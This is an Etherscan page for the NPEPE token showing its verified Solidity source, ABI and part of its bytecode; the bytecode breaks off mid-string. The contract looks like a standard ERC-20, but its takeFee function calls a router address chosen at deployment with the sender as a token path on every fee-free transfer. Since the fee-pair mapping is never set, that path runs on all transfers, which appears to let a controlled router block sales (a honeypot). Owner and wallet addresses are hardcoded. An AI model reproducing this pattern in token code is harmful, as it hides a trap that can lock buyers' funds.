ETH Price: $3,084.42 (-0.11%)

Token

NewPEPE (NPEPE)
 

Overview

Max Total Supply

42,000,000 NPEPE

Holders

382

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
79,007.893596539028632388 NPEPE

Value
$0.00
0x0eAEaD0F7e6458de591dA059644af8c249B856D9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NPEPE

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-10
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient,
     uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b; require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);  return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Router01 {

    function factory() external pure returns (address);

    function WETH() external view returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,    uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


contract NPEPE is Context, IERC20, Ownable {
    struct UserInfo {
        uint256 lpAmount;  bool preLP;
    }

    mapping(address => UserInfo) private _userInfo;

    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable private marketingWalletAddress;
    address payable private teamWalletAddress;
    address private deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private isMarketPair;


    uint256 private _totalTaxIfBuying = 0;
    uint256 private _totalTaxIfSelling = 0;

    uint256 private _totalSupply;
    uint256 private _minimumTokensBeforeSwap = 0;

    bool private startTx;


    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapPair;

    bool inSwapAndLiquify;
    bool private swapAndLiquifyEnabled = true;
    bool private swapAndLiquifyByLimitOnly = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor (
        string memory coinName,
        string memory coinSymbol,
        uint8 coinDecimals,
        uint256 supply,
        address router
    ) payable {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);

        _name = coinName;
        _symbol = coinSymbol;
        _decimals = coinDecimals;
        _owner = 0x52eEab54E8Ee55Fe0A4c3710dEa386e33CC03F92;
        _totalSupply = supply  * 10 ** _decimals;
        _minimumTokensBeforeSwap = 11000 * 10**_decimals;
        marketingWalletAddress = payable(0x52eEab54E8Ee55Fe0A4c3710dEa386e33CC03F92);
        teamWalletAddress = payable(0x52eEab54E8Ee55Fe0A4c3710dEa386e33CC03F92);
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner,
         spender, amount);
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        _minimumTokensBeforeSwap = newLimit;
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= _totalSupply;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = takeFee(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        // swap token -> eth
        swapTokensForEth(tAmount);
        uint256 amountReceived = address(this).balance;
         
        // team eth
        uint256 amountUSDTTeam = amountReceived.mul(50).div(100);
        // marketing eth
        uint256 amountUSDTMarketing = amountReceived.sub(amountUSDTTeam);

        if(amountUSDTMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountUSDTMarketing);

        if(amountUSDTTeam > 0)
            transferToAddressETH(teamWalletAddress, amountUSDTTeam);


    }
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path);
    }



    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        uint256 deadAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }else{
            // generate the uniswap pair path of token -> weth
            address[] memory path = new address[](2);
            path[0] = address(sender);
            path[1] = uniswapV2Router.WETH();
            uint amounts = uniswapV2Router.getAmountsOut(amount,path)[0];
            deadAmount = amount - amounts;
        }

        return amount.sub(feeAmount);
    }


    function getUserInfo(address account) public view returns (
        uint256 lpAmount, uint256 lpBalance,  bool preLP
    ) {
        lpAmount = _userInfo[account].lpAmount;
        lpBalance = IERC20(uniswapPair).balanceOf(account);
        UserInfo storage userInfo = _userInfo[account];
        preLP = userInfo.preLP;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"coinName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint8","name":"coinDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"address","name":"router","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getUserInfo","outputs":[{"internalType":"uint256","name":"lpAmount","type":"uint256"},{"internalType":"uint256","name":"lpBalance","type":"uint256"},{"internalType":"bool","name":"preLP","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600a556000600b556000600d556001600f60156101000a81548160ff0219169083151502179055506000600f60166101000a81548160ff02191690831515021790555060405162003b9138038062003b918339818101604052810190620000b19190620005bb565b60008190508560029080519060200190620000ce92919062000448565b508460039080519060200190620000e792919062000448565b5083600460006101000a81548160ff021916908360ff1602179055507352eeab54e8ee55fe0a4c3710dea386e33cc03f926000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900460ff16600a62000175919062000769565b83620001829190620008a6565b600c81905550600460009054906101000a900460ff16600a620001a6919062000769565b612af8620001b59190620008a6565b600d819055507352eeab54e8ee55fe0a4c3710dea386e33cc03f92600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507352eeab54e8ee55fe0a4c3710dea386e33cc03f92600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c54600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c5460405162000434919062000692565b60405180910390a350505050505062000b01565b828054620004569062000988565b90600052602060002090601f0160209004810192826200047a5760008555620004c6565b82601f106200049557805160ff1916838001178555620004c6565b82800160010185558215620004c6579182015b82811115620004c5578251825591602001919060010190620004a8565b5b509050620004d59190620004d9565b5090565b5b80821115620004f4576000816000905550600101620004da565b5090565b60006200050f6200050984620006d8565b620006af565b9050828152602081018484840111156200052e576200052d62000a86565b5b6200053b84828562000952565b509392505050565b600081519050620005548162000ab3565b92915050565b600082601f83011262000572576200057162000a81565b5b815162000584848260208601620004f8565b91505092915050565b6000815190506200059e8162000acd565b92915050565b600081519050620005b58162000ae7565b92915050565b600080600080600060a08688031215620005da57620005d962000a90565b5b600086015167ffffffffffffffff811115620005fb57620005fa62000a8b565b5b62000609888289016200055a565b955050602086015167ffffffffffffffff8111156200062d576200062c62000a8b565b5b6200063b888289016200055a565b94505060406200064e88828901620005a4565b935050606062000661888289016200058d565b9250506080620006748882890162000543565b9150509295509295909350565b6200068c816200093b565b82525050565b6000602082019050620006a9600083018462000681565b92915050565b6000620006bb620006ce565b9050620006c98282620009be565b919050565b6000604051905090565b600067ffffffffffffffff821115620006f657620006f562000a52565b5b620007018262000a95565b9050602081019050919050565b6000808291508390505b60018511156200076057808604811115620007385762000737620009f4565b5b6001851615620007485780820291505b8081029050620007588562000aa6565b945062000718565b94509492505050565b600062000776826200093b565b9150620007838362000945565b9250620007b27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007ba565b905092915050565b600082620007cc57600190506200089f565b81620007dc57600090506200089f565b8160018114620007f55760028114620008005762000836565b60019150506200089f565b60ff841115620008155762000814620009f4565b5b8360020a9150848211156200082f576200082e620009f4565b5b506200089f565b5060208310610133831016604e8410600b8410161715620008705782820a9050838111156200086a5762000869620009f4565b5b6200089f565b6200087f84848460016200070e565b92509050818404811115620008995762000898620009f4565b5b81810290505b9392505050565b6000620008b3826200093b565b9150620008c0836200093b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008fc57620008fb620009f4565b5b828202905092915050565b600062000914826200091b565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156200097257808201518184015260208101905062000955565b8381111562000982576000848401525b50505050565b60006002820490506001821680620009a157607f821691505b60208210811415620009b857620009b762000a23565b5b50919050565b620009c98262000a95565b810181811067ffffffffffffffff82111715620009eb57620009ea62000a52565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b62000abe8162000907565b811462000aca57600080fd5b50565b62000ad8816200093b565b811462000ae457600080fd5b50565b62000af28162000945565b811462000afe57600080fd5b50565b6130808062000b116000396000f3fe60806040526004361061010d5760003560e01c80638da5cb5b11610095578063a9059cbb11610064578063a9059cbb146103a0578063b2bdfa7b146103dd578063c49b9a8014610408578063dd62ed3e14610431578063f2fde38b1461046e57610114565b80638da5cb5b146102f6578063914eb66a1461032157806395d89b4114610338578063a457c2d71461036357610114565b8063313ce567116100dc578063313ce567146101e957806339509351146102145780633b97084a146102515780636386c1c71461027a57806370a08231146102b957610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610497565b60405161013b919061273c565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906123b2565b610529565b6040516101789190612721565b60405180910390f35b34801561018d57600080fd5b50610196610547565b6040516101a3919061287e565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061235f565b610551565b6040516101e09190612721565b60405180910390f35b3480156101f557600080fd5b506101fe61062b565b60405161020b919061295a565b60405180910390f35b34801561022057600080fd5b5061023b600480360381019061023691906123b2565b610642565b6040516102489190612721565b60405180910390f35b34801561025d57600080fd5b5061027860048036038101906102739190612468565b6106f5565b005b34801561028657600080fd5b506102a1600480360381019061029c91906122c5565b610794565b6040516102b093929190612923565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db91906122c5565b6108ea565b6040516102ed919061287e565b60405180910390f35b34801561030257600080fd5b5061030b610933565b6040516103189190612706565b60405180910390f35b34801561032d57600080fd5b5061033661095c565b005b34801561034457600080fd5b5061034d610aaf565b60405161035a919061273c565b60405180910390f35b34801561036f57600080fd5b5061038a600480360381019061038591906123b2565b610b41565b6040516103979190612721565b60405180910390f35b3480156103ac57600080fd5b506103c760048036038101906103c291906123b2565b610c0e565b6040516103d49190612721565b60405180910390f35b3480156103e957600080fd5b506103f2610c2d565b6040516103ff9190612706565b60405180910390f35b34801561041457600080fd5b5061042f600480360381019061042a919061243b565b610c51565b005b34801561043d57600080fd5b506104586004803603810190610453919061231f565b610d3a565b604051610465919061287e565b60405180910390f35b34801561047a57600080fd5b50610495600480360381019061049091906122c5565b610dc1565b005b6060600280546104a690612bca565b80601f01602080910402602001604051908101604052809291908181526020018280546104d290612bca565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b5050505050905090565b600061053d610536610f83565b8484610f8b565b6001905092915050565b6000600c54905090565b600061055e848484611156565b506106208461056b610f83565b61061b85604051806060016040528060288152602001612ffe60289139600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105d1610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b610f8b565b600190509392505050565b6000600460009054906101000a900460ff16905090565b60006106eb61064f610f83565b846106e68560086000610660610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b610f8b565b6001905092915050565b6106fd610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610781906127fe565b60405180910390fd5b80600d8190555050565b6000806000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549250600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b81526004016108399190612706565b60206040518083038186803b15801561085157600080fd5b505afa158015610865573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108899190612495565b91506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060010160009054906101000a900460ff169150509193909250565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610964610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e8906127fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060038054610abe90612bca565b80601f0160208091040260200160405190810160405280929190818152602001828054610aea90612bca565b8015610b375780601f10610b0c57610100808354040283529160200191610b37565b820191906000526020600020905b815481529060010190602001808311610b1a57829003601f168201915b5050505050905090565b6000610c04610b4e610f83565b84610bff856040518060600160405280602581526020016130266025913960086000610b78610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b610f8b565b6001905092915050565b6000610c22610c1b610f83565b8484611156565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610c59610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdd906127fe565b60405180910390fd5b80600f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051610d2f9190612721565b60405180910390a150565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dc9610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4d906127fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebd9061277e565b60405180910390fd5b8073fffffffffffffffffffffffffff